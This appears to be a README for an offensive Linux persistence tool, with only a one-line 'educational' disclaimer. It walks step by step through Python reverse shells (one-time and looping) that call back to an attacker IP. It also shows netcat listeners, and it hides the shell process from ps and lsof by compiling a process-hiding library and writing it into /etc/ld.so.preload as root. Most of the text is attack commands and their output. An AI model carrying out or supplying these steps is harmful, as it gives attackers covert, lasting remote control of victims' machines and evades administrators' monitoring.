Linux Persistence Access

⚠️ *For educational and authorized security research purposes only*

Original Exploit Authors

Exploit Description

This script is python based and is used to create a reverse shell of the victim machine. There are two scripts, the first one is used for a one-time reverse shell and the other for an infinite reverse shell with a loop mechanism every 2 seconds. And to improve defense evasion, we'll hide processes on Linux using the ld preloader.

Demo

Step Guides

Establish a connection to victim's machine using SSH

┌──(kali㉿kali)-[~]
└─$ ssh administrator@www.servint.org

Change s.connect(("172.16.10.7",2220)) in the shell.py file with the perpetrator's address for one-time reverse shell
Change sdregs.connect(("172.16.10.7",9999)) in the loop-shell.py with the perpetrator's address for infinite reverse shell
Make shell.py and loop-shell.py executable:

administrator@Server-01:/tmp/libprocesshider$ chmod +x shell.py
administrator@Server-01:/tmp/libprocesshider$ chmod +x loop-shell.py

Change static const char* process_to_filter = "shell.py"; in the processhider.c with the script you want to use
Then, compile the library:

administrator@Server-01:/tmp/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
administrator@Server-01:/tmp/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/

Then, Load it with the global dynamic linker

root@Server-01:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

Create new terminal on perpetrator's machine and run this command for connect with one-time reverse shell and this command for infinite reverse shell::

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 2220

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 9999

Run shell.py or loop-shell.py:

administrator@Server-01:/tmp/libprocesshider$ ./shell.py
administrator@Server-01:/tmp/libprocesshider$ ./loop-shell.py

And your process will be off the radar

administrator@Server-01:/tmp/libprocesshider$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

administrator@Server-01:/tmp/libprocesshider$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

Exploit Requirements

python3
gcc